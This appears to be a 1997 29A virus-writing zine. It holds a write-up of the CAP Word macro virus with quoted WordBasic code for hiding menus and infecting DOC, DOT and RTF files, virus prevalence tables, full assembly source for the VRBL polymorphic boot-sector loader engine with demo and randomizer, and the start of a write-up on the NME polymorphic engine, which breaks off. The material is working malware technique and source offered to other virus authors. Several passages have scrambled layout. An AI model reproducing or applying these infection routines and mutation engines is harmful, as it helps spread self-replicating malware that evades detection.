their menu itemz back. In efect, some AV programz that are able to remove all of the CAP viral macroz from the Global template, would find themselvez a bit frustrated at their inability to properly fix the changez made by CAP to the Word menuz. Its pathetic readin the comon solution provided by most of these high tech AVerz in order to fix the problem. I still can hear them say: "Exit Word, delete NORMAL.DOT, Start Word, now the menu itemz are back". While this straightforward solution certainly works, it proves to be quite ineficient and exagerated as well. C'mon the fastest and most efective solution was at the "right click" of a mouse! Well, heh.. sometimez i think it is true some AVerz have 4 bugz playin cardz in their brainz :) This solution even worked on my Word 6.0 runin on Win3.1, not just Win95. Just in case u need the solution, its very simple: Right-click over some place at the toolbar, the Customize window box opens, select the "Menus" tab, push the "Reset All" buton then click OK, thats all. After these stepz the menu itemz "Toolz/Macro", "Toolz/Customize", etc, are back. However, no matter the first or second procedure is used if the user has made menu customizationz or added some butonz to his toolbar, they are lost after doin any of these stepz. There exists however a third solution not mentioned before in which the user wont lose any of his customizationz except of course his own macroz (now deleted) if they existed. It consists of addin the lost menu itemz one by one usin the "Add" buton from inside the "Customize" window box. Good enough, now lets continue with our stuff. The actual implementation of the macro code targeted to remove these menu itemz is very simple, but it certainly looks somewhat complicated and messy if u have a first look at the virus code itself:

For I = 0 To 1 If I Then J = 1 Else J = 6 A$ = MenuText$(I, J) J = CountMenuItems(A$, I) - 1 For M = J To 1 Step - 1 If InStr(MenuItemMacro$(A$, I, M), "Macro") Then If I Then B$ = MenuItemMacro$(A$, I, M - 2) If UCase$(B$) <> UCase$(M$(9)) And Left$(B$, 1) <> "(" Then MacroCopy "ToolsMacro", B$, K Else M = M + 1 End If For T = M To M - 1 Step - 1 If T > 3 Then ToolsCustomizeMenus .MenuType = I, .Position = T, .Name = MenuItemMacro$(A$, I, T), .Menu = A$, .Remove, .Context = 0 Next M = 1 T = 0 End If Next Next

This code starts by inspectionin each of the menu itemz from the "Toolz" menu from top to bottom, scanin each name for the word "Macro" inside them. If any of the menu itemz contains such word as part of its name, then CAP asumes it has found the position for the "Toolz/Macro" menu item inside the "Toolz" menu. If this condition is met, CAP deletes the actual menu item (Toolz/Customize). If the virus is searchin inside the "File" menu - with

no documentz opened - (second step) and if the word any of the menu itemz from such "File" menu, CAP item (Toolz/Macro) and the "previous" one - not the case of the "File" menu (with no documentz opened), itself startin with "(".

"Macro" is found inside removes the actual menu next one - which in the is really a "separator"

If u are curious enough, u'll notice somethin in the above code not mentioned in the latter explanation. There is a "MacroCopy" function. This function gets control when the "Filez" menu is bein scaned and the "Toolz/Macro" item is found as well. Its sole purpose is to copy the "FileTemplatez" macro to the current localized macro name. If for some reason, the above stepz dont work, i.e. the "Toolz/Macro" menu item could not be found, for example in German versionz of Word where "Macro" is spelled as "Makro", then another chunk of code is executed:

A$ = MenuText$(1, 1) [...] J = CountMenuItems(A$, 1) - 1 [...] For I = 6 To J If Left$(MenuItemMacro$(A$, 1, I), 1) = "(" And Left$(MenuItemMacro$(A$, 1, I - 2), 1) = "(" Then For T = 1 To 3 Step 2 B$ = MenuItemMacro$(A$, 1, I - T) If Left$(B$, 1) <> "(" Then MacroCopy M$(T + 6), B$, K Next I = J End If Next

This code actually tries to make some guessez about where the "Toolz/Macro" and "File/Templatez" menu itemz are located in the "File" menu (when no filez are opened). If these checkz are passed then the "ToolsMacro" and "File Templates" macroz are copied to their respective localized macro namez. Unfortunately after CAP was released i realized that the condition block for the "If" statement never met becoz of a certain detail i didnt realize. This is the reason why in German version of Word or in general in any other localized version where the word "macro" is not found in the menu itemz, there won't be an equivalent localized macro for "FileTemplates" nor "Tools Macro". Well what TF nobody's perfect! #8I.

4.3. Document, template and RTF infection ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ It has been said that CAP, as with any other macro virus, infects Word documentz and templatez. However what AVerz seem to have missed at all is the fact that CAP also infects documentz in RTF (Rich Text Format) layout. If AVerz argue that RTF filez cant contain macroz at all, they are certainly right. But hey, nothin stop us from convertin the RTF file into a Word template and then copy our macroz there! If so, the file will still have the RTF extension but will contain a template format inside. Here's the code:

Dim D As FileSaveAs GetCurValues D If N < 10 And D.Format = 1 Or D.Format = 0 Or D.Format = 6 Then D.Format = 1 For I = CountMacros(0) To 1 Step - 1 B$ = MacroName$(I, 0) If B$ <> "ToolsMacro" Then K = - 1 Else K = 0

MacroCopy B$, F$ + ":" + B$, K Next FileSaveAs D End If

The above code simply checks for 3 posible conditionz: if the file is a clean template, if the file is a document or if it has a RTF layout. If any of these conditionz is met, the object will become infected. The infection consists of copyin all the CAP macroz (english macroz plus localized ones if they exist) from inside the Global template to the object bein infected (DOT, DOC or RTF). Note in the "For" loop that when the macro name matches "ToolsMacro", it will be copied in unencrypted form (K=0) in order to keep the generation count alive.

4.4. Disablin of AutoMacroz ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Probably u have heard about some macro virusez bein able to "enable" AutoMacroz just in case they have been turned off. A clear example is the WordMacro.Colors virus which enables AutoMacroz each time the "Tools/Macro" menu item is activated. While this could have some benefitz, it could also add some drawbackz and dangerous efectz to our macro virus. If AutoMacroz are enabled, then any AutoMacro that had been turned off in any template will be reactivated. As a result, if the global template had an "AutoOpen" macro, it will be executed each time a new document is opened. However if the document about to be opened contains another "AutoOpen" macro, perhaps bein part of the same or "another" macro virus, then this latter macro will be executed "first" than the "AutoOpen" macro from inside the global template. This means that another "foreign" macro virus could be executed "first" without our knowledge! If survival is critical for our macro virus, then its quite obvios that enablin AutoMacroz should be avoided if posible. If another macro virus gets the control before ours, posibly by meanz of one of its AutoMacroz, then it could wipe away all of our own macroz from the global template, thus destroyin and removin our macro virus. This is unavoidable and very likely to hapen if AutoMacroz are enabled, so u better think about it the next time u enable AutoMacroz. If our macro virus consists only of one single AutoOpen macro then disablin AutoMacroz will obviosly stop all chancez to spread our virus further, so thats perhaps a bad idea. However if our virus contains other macroz that could automaticaly be executed or activated by other user actionz such as keystrokez, file menu itemz, toolbar butonz, etc, then the "disablin" of AutoMacroz would prove to be a much more atractive and robust aproach as it will guarantee the survival of our macro virus.

4.5. The "SaveAs" problem solved ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Its kind of curious that the AVP virus description was the only one mentionin something about CAP bein able to "emulate" the "SaveAs" function, however it ended up sayin the rubish inaccurate statement: "it writes an empty document to disk". While its worth from Kasper realizin about the "SaveAs" emulation its unforgivable for any AVer not knowin how Word templatez work. CAP, when emulatin the "SaveAs" function, doesnt write any "empty" document to disk, it rather creates a new clean document based on the active template, which is the infected document itself and as such it is not empty. Then CAP saves to disk the new document dependin on the users choice at the "SaveAs" dialog box and finally infects it. The whole purpose of all this, is just make the user happy by lettin him select the drive, file format and directory names when the "SaveAs" dialog box appears.

In the article "Macro virus tricks", point 2 (The "SaveAs" problem), point 2.1 (The "SaveAs" solution) and point 2.2 (The "SaveAs" example), it is explained in full detail how this "SaveAs" emulation can be achieved in order to solve the "SaveAs" problem.

5. Shortcutz ÄÄÄÄÄÄÄÄÄÄÄÄ (*) alt.comp.virus > > >

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 CAP.A is a fairly new Word Macro virus. The latest version of McAfee should be able to clean it. If it doesn't, you might want to try F-Macro from http://www.datafellows.com

BTW, down here (Belgium, Luxembourg, France) and among our global customers, the CAP virus family has almost instantly become the most widespread virus we have ever met. Roughly 80% (yes eighty percent) of all our virus related tech support calls have been about that virus during the last two months. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 (*) alt.comp.virus - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 > L'accorgimento sembra proprio funzionare (il che mi fa supporre che sia > un virus del piffero, visto che si lascia aggirare cos facilmente), Non farti ingannare. Per essere un macro virus, il Macro.Word.Cap e' piuttosto complesso e contiene una tecnica innovativa che gli permette di bypassare le barriere poste dalla localizzazione di Word e quindi di intercettare delle macro sistema in molte versioni di Word che usano un linguaggio diverso dall'Inglese. Da un punto di vista prettamente tecnico, il Cap e' un virus tutt'altro che banale. In genere, il Normal.dot non e' mai protetto dalla scrittura, per cui i virus writer che scrivono macro virus hanno un approccio diverso rispetto a quello di chi scrive virus piu' "tradizionali". Non e' un caso se il Macro.Word.Cap e' ormai uno dei virus piu' diffusi in Italia, se non addirittura il piu' diffuso in assoluto nel nostro paese. > 2) che effetti provoca il macro virus CAP (ammesso che fosse quello), > oltre a cancellare la macro e a nascondere alcuni comandi di Word? Nulla di particolare. Il virus intercetta il comando di sistema FileSalvaConNome e controlla se viene utilizzato per scrivere documenti, modelli o file in formato Rich Text Format (RTF). In questi casi, converte il file in un modello e lo infetta. Come risultato si ottiene che un file salvato in formato RTF, che normalmente non contiene macro, sara' comunque infetto, dal momento che in realta' verra' salvato come modello. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 (*) http://www.geocities.com/SiliconValley/Heights/3652/F.HTM - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Virus Alerts (based on messages posted to alt.comp.virus) 08-11-97: WM/CAP is becoming the most common virus 05-12-97: Hoax virus alert posted to several newsgroups 05-08-97: WM/Helper virus will put passwords on documents

04-27-97: Word Macro NPad virus in the wild - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 (*) http://www.sophos.com/virusinfo/topten/jul97.html - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Top ten viruses reported to Sophos last month July 1997 virus top ten ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ July 1997 This month ÄÄÄÄÄÄÄÄÄÄ 1 2 3 4 5 5 5 8 9 9

Last month ÄÄÄÄÄÄÄÄÄÄ 1 5 3 7 8 15 2 5 3 new

Name Percentage of reports ÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Winword/CAP 14.1% Form 12.7% Anticmos 8.5% Winword/Concept 7.0% Excel/Laroux 5.6% New Zealand-i 5.6% Parity Boot 5.6% Winword/Npad 4.2% CMOS4 2.8% Winword/Switchr 2.8% Others 31.1% - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 (*) http://www.itasa.com.mx/fprot/soporte/mexvir.htm - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Los virus mas comunes en Mexico VIRUS CATEGORIA ÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄ CAP.A Macro 15 Years MBR Concept Macro Wazzu Macro NPad Macro Implant MBR/com/exe Monkey MBR Byway com/exe Natas MBR/com/exe Boot.437 Boot Exebug MBR - - - - - - - - - - -

IDENTIFICABLE ÄÄÄÄÄÄÄÄÄÄÄÄÄ s¡ s¡ s¡ s¡ s¡ s¡ s¡ s¡ s¡ s¡ s¡ - - - - - - -

REMOVIBLE ÄÄÄÄÄÄÄÄÄ s¡ s¡* s¡ s¡ s¡ s¡ s¡ s¡** s¡ s¡ s¡ - - - - -

PROCEDIMIENTO ÄÄÄÄÄÄÄÄÄÄÄÄÄ F-POTATOE 2.27+ (Windows) Fixdisk repair F-POTATOE (Windows) F-POTATOE (Windows) F-POTATOE (Windows) F-IMPLAN (v. nota t‚c. #60) F-potatoe /hard /disinf Ver nota t‚cnica #58 F-potatoe /hard /disinf Sys c: diskette. F-potatoe /hard /disinf - - - - - - - - - - - - - ->8

Btw, note that Implant (original name: SuckSexee), another virus written by a 29A member (GriYo), ranks sixth as the most widespread virus in Mexico. (*) http://www.dataalert.com/top.htm - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Virussen Top 10 Data Alert International B.V. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ De meest gerapporteerde en voorkomende virussen in de BeNeLux. JULI-AUGUSTUS 1997 Rang ÄÄÄÄ 1.

Virusnaam ÄÄÄÄÄÄÄÄÄ WM/Cap

Virustype ÄÄÄÄÄÄÄÄÄ Macro

2. 3. 4. 5. 6. 7. 8. 9. 10. - - - - - - - - - - - - -

XM/Laroux Antiexe WM/Npad AntiCMOS.A WM/Concept Junkie Ripper NYB Parity.Boot - - - - - -

Macro Boot Macro Boot Macro Multi Boot Boot Boot - - - - - - - - - - - - - - - - - ->8

(*) http://www.virusbtn.com/Prevalence/199708.html - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 VB Prevalence Table, August 1997 Virus Name Type Number of incidents Percentage ÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄ CAP Macro 145 28.5% Concept Macro 51 10.0% NPad Macro 39 7.7% Dodgy Boot 26 5.1% Parity_Boot Boot 24 4.7% Form Boot 21 4.1% AntiEXE Boot 19 3.7% Temple Macro 16 3.1% Laroux Macro 15 3.0% Wazzu Macro 14 2.8% [...] Total: 508 100.0% - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

6. Disclaimer ÄÄÄÄÄÄÄÄÄÄÄÄÄ This information is for educational purposez only. The author is not responsible for any problemz caused by the use of this information.

(c) 1997. Jacky Qwerty/29A.

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

. .: .:.. :.. .. .:.::. :. ..: <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===< .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:. . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:.. ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::. >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->> .: .:.. ..:. .: ..:.::. ::.. :.:. [VRBL] Vecna's Random Boot Loader

This is the first polymorphic engine exclusively designed for boot viruses ever, and it's, maybe, one of the most variable engines in the world! This engine creates a loader, to be put in the MBR/BOOT, and sets up registers for further polymorphism in the virus body. The engine, btw, is very small as it's only 739 bytes long. The engine operates this way: first it creates random movs, jmps, xchgs, adds, xors, and so on. They are fully random, with no fixed structure. After this, it executes the loader in single step mode. The int 1 handler checks for the end of the generated code, when it passes control to the final routine, which fixes the needed registers, thru xors, adds and subs, using the values that are already held in the registers. So, not even the moves are fixed. After this, the loader passes control to the virus body, either by an intersegmented jump, or by means of a retf instruction. The engine has two EQUates, which are SIZE_IN_SECTORS and SEGMENT_VALUE. In SIZE_IN_SECTORS you must put the size of your virus divided by 512, and in SEGMENT_VALUE, the value of the segment you want your virus to get control of. As your virus probably gets mem from 0:[413h], you should not put very high values here, because your virus may overwrite itself when moving to the final segment. In machines with 640kb of conventional memory, which is the most common value nowadays, the max value is 640-((SIZE_IN_SECTORS* 512)*2). Remember also not to put this value in the 7c0h-7b0h or 0h-100h segment area, because of the original boot and the IVT presence. In short, use 2000 and it will work. ;-) Below you will find the code for VRBL, and later a demo test program which shows the effectivity of the engine, and the randomizer routine that I designed especifically for it. Hope you enjoy it!

; - -[VRBL.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ; ; Poly engine for boot loader ; Entry: ; DI = buffer to put loader in ; CX = cylynder of code ; DX = head of code ; Exit: ; All preserved size_in_sectors equ 3 segment_value equ 2000h makeloader proc pusha push ds push es push cs

push cs pop es pop ds call random_init mov word ptr ds:[_CX], cx mov word ptr ds:[_DX], dx call random and ax, 000111111b or al, 10000b mov cx, ax mov word ptr [START], di call random and ax, 011111b add al, 000111b push cx mov cx, ax MyBrainIsUpsideDown: call make_mov loop MyBrainIsUpsideDown pop cx LoveKills: push cx NowIWannaSniffSomeGlue: call random and ax, 0111b shl ax, 1 mov si, offset GARBAGE_TABLE add si, ax cmp si, word ptr ds:[LAST_CHOOSEN] je NowIWannaSniffSomeGlue mov word ptr ds:[LAST_CHOOSEN], si call word ptr ds:[si] pop cx loop LoveKills mov word ptr [STOP], di push 0 pop ds push dword ptr ds:[1*4] mov word ptr ds:[1*4], offset INT1 mov word ptr ds:[1*4+2], cs mov word ptr cs:[_SP], sp mov ax, ss mov word ptr cs:[_SS], ax mov cx, 8 IDontWantBeBuriedInAPetCemetary: push 0 loop IDontWantBeBuriedInAPetCemetary popa push 0100h push cs push word ptr cs:[START] iret endp makeloader db '[VRBL]' make_jmp proc call random mov al, 0ebh and ah, 000001111b or ah, 00000011b stosw movzx cx, ah

RamonesMania: call random stosb loop RamonesMania ret endp make_jmp make_inst_inst proc call random and ax, 01100000111b mov bx, offset TABLE_INST_INST xlat or al, ah stosb SpiderMan: call random and ax, 00111111b mov cx, ax mov dx, ax shr dx, 3 and cx, 0111b cmp cx, dx je SpiderMan cmp cx, 0100b je SpiderMan cmp dx, 0100b je SpiderMan or ax, 11000000b stosb ret endp make_inst_inst table_inst_inst equ this byte db 00001000b db 10001000b db 00100000b db 00010000b db 00000000b db 00011000b db 00101000b db 00110000b make_inst_sec proc mov al, 011110111b stosb TheKKKTookMyBabyAway: call random and ax, 0000011100111000b cmp ah, 00000100b je TheKKKTookMyBabyAway cmp al, 00010000b jb TheKKKTookMyBabyAway cmp al, 00101000b ja TheKKKTookMyBabyAway or al, ah or al, 011000000b stosb ret endp make_inst_sec make_one_byte proc mov si, offset table_one call random

endp

and ax, 00001111b movsb ret make_one_byte

table_one equ this byte clc cld cli stc std sti cmc cwd cbw lodsb scasb sahf lahf int 3 nop db 0f1h make_inst_imm proc mov bx, offset i_table mov al, 10000001b stosb DoYouWannaDance: call random and ax, 0000011100000111b cmp ah, 0100b je DoYouWannaDance xlat or al, ah stosb call random stosw ret endp make_inst_imm i_table equ this byte db 11000000b db 11001000b db 11010000b db 11011000b db 11100000b db 11101000b db 11110000b db 11111000b inc_dec_ proc IWannaBeSedated: call random and al, 01111b mov cl, al and cl, 0111b cmp cl, 0100b je IWannaBeSedated or al, 01000000b stosb ret endp inc_dec_

make_mov proc call random and al, 0111b cmp al, 0100b je make_mov or al, 010111000b stosb call random stosw ret endp make_mov start

equ this byte dw 0

last_choosen equ this byte dw 0 garbage_table equ this byte dw offset make_inst_inst dw offset make_mov dw offset make_inst_sec dw offset make_inst_imm dw offset inc_dec_ dw offset make_one_byte dw offset make_jmp dw offset make_mov int1

stop

endp

proc push bp mov bp, sp cmp word ptr cs:[bp+2], 1234h equ word ptr $-2 jae fixreg pop bp iret int1

fixreg proc mov word ptr cs:[SAVE_AX], mov word ptr cs:[SAVE_BX], mov word ptr cs:[SAVE_CX], mov word ptr cs:[SAVE_DX], cli mov sp, 1234h _sp equ word ptr $-2 mov ax, 1234h _ss equ word ptr $-2 mov ss, ax sti push 0 pop ds pop dword ptr ds:[1*4] push cs push cs pop ds pop es mov di, word ptr [STOP] BornToDieInBerlin: mov bp, 0 ImAStumpedStormtropperYesIAm: mov si, offset TABLE_FIX call random

ax bx cx dx

and ax, 0111b cmp al, 6 jae ImAStumpedStormtropperYesIAm shl ax, 1 add si, ax call word ptr [si] call random jp IBelieveInMiracles call make_jmp IBelieveInMiracles: cmp bp, 0111111b jne ImAStumpedStormtropperYesIAm jmp HeyOhLetsGo table_fix dw dw dw dw dw dw

equ this byte offset make_ax offset make_bx offset make_cx offset make_dx offset make_es offset make_override

make_ax: bts bp, 0 jc $ret mov dl, 000b mov bx, word ptr [SAVE_AX] mov cx, word ptr [_AX] $put: mov al, 010000001b stosb call random and ax, 011b cmp al, 1 je @sub cmp al, 2 je @add @xor: xor bx, cx mov al, 011110000b jmp store @sub: sub bx, cx mov al, 011101000b jmp store @add: sub bx, cx neg bx mov al, 011000000b store: and al, not(0111b) or al, dl stosb xchg ax, bx stosw $ret: ret make_bx: bts bp, 1 jc $ret mov dl, 011b mov bx, word ptr [SAVE_BX] mov cx, word ptr [_BX]

jmp $put make_cx: bts bp, 2 jc $ret mov dl, 001b mov bx, word ptr [SAVE_CX] mov cx, word ptr [_CX] jmp $put make_dx: bts bp, 3 jc $ret mov dl, 010b mov bx, word ptr [SAVE_DX] mov cx, word ptr [_DX] jmp $put make_es: bts bp, 4 jc $ret bt bp, 5 jc SadMOV PushPop: mov al, 68h stosb mov ax, SEGMENT_VALUE stosw mov al, 0 org $-1 pop es stosb jmp $ret SadMOV: mov al, 010111101b stosb mov ax, SEGMENT_VALUE stosw mov al, 010001110b stosb mov al, 011000101b stosb ; mov bp, SEGMENT_VALUE ; mov es, bp jmp $ret make_override: bts bp, 5 jc $ret mov al, 68h stosb mov ax, SEGMENT_VALUE stosw mov bl, byte ptr [seg_need] TryES: cmp bl, 26h jne TryCS ; mov al, 0 ; org $-1 ; pop es ; stosb CleanDI: sub di, 3 jmp $ret TryCS: cmp bl, 2eh je CleanDI

; ; ; ; TrySS:

mov al, 0 org $-1 pop cs stosb cmp jne mov org pop jmp

bl, 36h TryDS al, 0 $-1 ss BackInBlack

TryDS: cmp bl, 90h jne TryFS mov al, 0 org $-1 pop ds BackInBlack: stosb jmp $ret TryFS: cmp bl, 64h jne TryGS mov ax, 1234h org $-2 pop fs jmp BackToTheHell TryGS: mov ax, 1234h org $-2 pop gs BackToTheHell: stosw jmp $ret HeyOhLetsGo: mov ax, 013cdh stosw call random bt ax, 1 jc make_jump make_retf: mov ax, 00 org $-2 push es push bx stosw mov al, 0 org $-1 retf stosb jmp done make_jump: mov al, 0eah stosb mov ax, word ptr cs:[_BX] stosw mov ax, SEGMENT_VALUE stosw jmp done done: mov word ptr [STOP], di pop es pop ds

endp

popa ret fixreg

_AX _BX _CX _DX

dw dw dw dw

save_AX save_BX save_CX save_DX ; ; ; ; ; ; ;

200h+size_in_sectors 0 ? ?

dw dw dw dw

? ? ? ?

- -[DEMO.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 This must will This will

demo program generates 99999999 little demos of my engine. This code reside in the MBR or the boot sector of a floppy or harddrive. They load the rest of the virus from other track. They're very variable. code is designed to run in a boot, so, if you execute the demos they surely crash. Check the code with a debugger.

.model tiny .code .startup .386 push cs pop ds push cs pop es do_next: call random_init mov di, 08000h mov cx, 1 mov dx, 0180h call makeloader mov ah, 3ch mov dx, offset fn2 xor cx, cx int 21h jc exit_dem xchg ax, bx mov ah, 40h mov cx, word ptr [STOP] mov dx, word ptr [START] sub cx, dx int 21h mov ah, 3eh int 21h cmp byte ptr ds:[fn2+7], je zero_1 inc byte ptr ds:[fn2+7] jmp next_file zero_1: mov byte ptr ds:[fn2+7], cmp byte ptr ds:[fn2+6], je zero_2 inc byte ptr ds:[fn2+6] jmp next_file zero_2: mov byte ptr ds:[fn2+6],

'9'

'0' '9'

'0'

cmp byte ptr ds:[fn2+5], '9' je zero_3 inc byte ptr ds:[fn2+5] jmp next_file zero_3: mov byte ptr ds:[fn2+5], '0' cmp byte ptr ds:[fn2+4], '9' je zero_4 inc byte ptr ds:[fn2+4] jmp next_file zero_4: mov byte ptr ds:[fn2+4], '0' cmp byte ptr ds:[fn2+3], '9' je zero_5 inc byte ptr ds:[fn2+3] jmp next_file zero_5: mov byte ptr ds:[fn2+3], '0' cmp byte ptr ds:[fn2+2], '9' je zero_6 inc byte ptr ds:[fn2+2] jmp next_file zero_6: mov byte ptr ds:[fn2+2], '0' cmp byte ptr ds:[fn2+1], '9' je zero_7 inc byte ptr ds:[fn2+1] jmp next_file zero_7: mov byte ptr ds:[fn2+1], '0' cmp byte ptr ds:[fn2], '9' je exit_dem inc byte ptr ds:[fn2] jmp next_file next_file: jmp do_next exit_dem: int 20h fn2

db '00000000.COM',0

seg_need db 65h include random.asm org 01000h include vrbl.asm end ; ; ; ; ; ; ; ;

- -[RANDOM.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 This is a slow random number generator. This type of random number generators are ideal for polymorphic viruses, because AVs will need to work hard in order to create a reliable algorithm to detect the virus. Despite of this, I changed it not to be slow, so I can demostrate the variability of the engine. You need to call first RANDOM_INIT, then RANDOM to get the random values back in AX.

random_init proc pusha push es push ds push cs cs

pop ds es mov ah, 8 mov dl, 80h ; int 13h mov ax, 201h mov bx, offset random_table and cx, 0111111b mov dx, 0080h ; int 13h cmp dword ptr ds:[bx], ' );' ; je TableDone CreateTable: mov di, bx mov cx, 512 NextRandom: in al, 40h xor byte ptr [X_V], al in al, 40h add byte ptr [X_V], al jmp $+2 mov al, 00 X_V equ $-1 stosb loop NextRandom WriteTable: mov ah, 8 mov dl, 80h ; int 13h mov ax, 301h mov dword ptr ds:[bx], ' );' and cx, 0111111b mov dx, 80h ; int 13h TableDone: mov word ptr ds:[RANDOM_NUMBER], 5 pop ds pop es popa ret endp random_init random proc push bx push ds push cs pop ds mov ax, word ptr [RANDOM_NUMBER] mov bx, ax inc ax cmp ax, 512 jbe ImTheCrusherKingOfTheRing mov ax, 4 ImTheCrusherKingOfTheRing: mov word ptr [RANDOM_NUMBER], ax mov ax, word ptr [RANDOM_TABLE+bx] sahf pop ds pop bx ret endp random random_number dw 0 random_table db 512 dup(0)

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

. .: .:.. :.. .. .:.::. :. ..: <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===< .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:. . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:.. ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::. >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->> .: .:.. ..:. .: ..:.::. ::.. :.:. Û²±°

The Necromantic Mutation Engine ( NME ) °±²Û ( used in Zohra virus ) by Wintermute/29A

When I started writing this article, I didn't know how to do it; the engine is full commented in my virus, Zohra, and besides has some things that make it nearly impossible to get it out from the virus. So, I've made a couple things in this article to make it interesting :) First, I'm explaining how it works, and how I made it; just thinking about it and wondering how would I do this and that ( hope that will help you writing your own poly engine if you haven't done one yet... ). After talking about that, I'm giving some guidance about how to use the engine, because it has some particularities :)

1.- How is this poly engine created ? What should a poly engine have ? A good poly engine shouldn't just make some crap instructions as "cli-sti-lahf-nop" and place them among real instructions; a middle-interested user would easily detect something's going wrong in that file when he finds 15 useless one byte instructions, and then would detect it. So, a list with some instructions/opcodes was made, in order to use some more kinds of instructions. Zohra has five groups; one byte instructions, two byte ones, three, four bytes, and long routines. Long routines are anti-debugging or anti-spectral ones, for example. So, the idea was to put that instructions among the decryptor ones. That decryptor instructions are different in length; three, four bytes... so it would last some bytes checking each one and copying it. So, I divided the decryptor instructions block in six blocks respectively, which were formed by five bytes each one, this way:

> >

mov db

bp,0200h 90h,90h

>

mov

si,cs:word ptr [encryptvalue+bp]

> >

mov db

cx,virus_size/2 90h,90h ; variable

> >

mov db

di,bp 90h,90h,90h

> >

xor db

word ptr cs:[di],si 90h,90h ; variable ( again ! )

>

inc

di

; variable ( junk gen )

; variable

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

> > >

inc loop db

di loop_dec 90h

; variable

As you see, there are "blanks" in the blocks; that means more fixed bytes, but of course the instructions aren't placed this way on the engine: first thing the poly engine does is copying these instructions to a buffer in memory and filling the blanks with random bytes from the instruction generators; for example, if there were a three byte blank, the engine would fill it with a two byte instruction and a one byte instruction, or with a with a three byte instruction, etc. As you may see, done this there are still many fixed bytes, the real decryptor instructions. Any AVer could put in his hex searcher something like "F7????4D????4E" and easily detect it. So, next thing in the poly engine are some routines which change the decryptor instructions: randomly, SI is used instead of DI, the way to load CX changes, the "inc di/loop" changes on a "dec cx/jnz xxx", etc. Also, the three SI/DI/CX setting blocks are placed randomly on the decryptor ( it doesn't matter their order ). After making all the changes and setting the decryptor instructions block the poly starts working in a zone between the first and the second copy of the virus; when loading in memory, it makes this: copies the virus, then places a 512 byte buffer, and copies the virus again. The second copy never gets executed, it's encrypted by the first one, and the decryptor is made between them, so when copying to a file it will grow "512 bytes+virus"... So, ES:DI points to the 512 bytes buffer to write on it, and a random generator gets running, placing 1 to 4 byte instructions, long routines, or the decryptor instructions. Also, the engine checks some things; for example, divides by 6 the total size of the decryptor ( 512 bytes ) and checks this with the remaining decryptor instruction blocks, so all the instructions are in the decryptor ( and not very near to each other ). Also checks the distance between the loop/jz and the xor at the end so it doesn't get out of range, and also checks the last bytes to finish the decryptor; for example, if there are only three bytes remaining of decryptor, the engine will put a three byte instruction, etc. Finally,... why using long routines ( as an antidebugging one ) ? To avoid one couple things. The antidebugging routine is especially made for AVP, which tries to decrypt the virus ( and makes it ! ;) because of its heuristic method, which fails when there are antidebugging routines and the 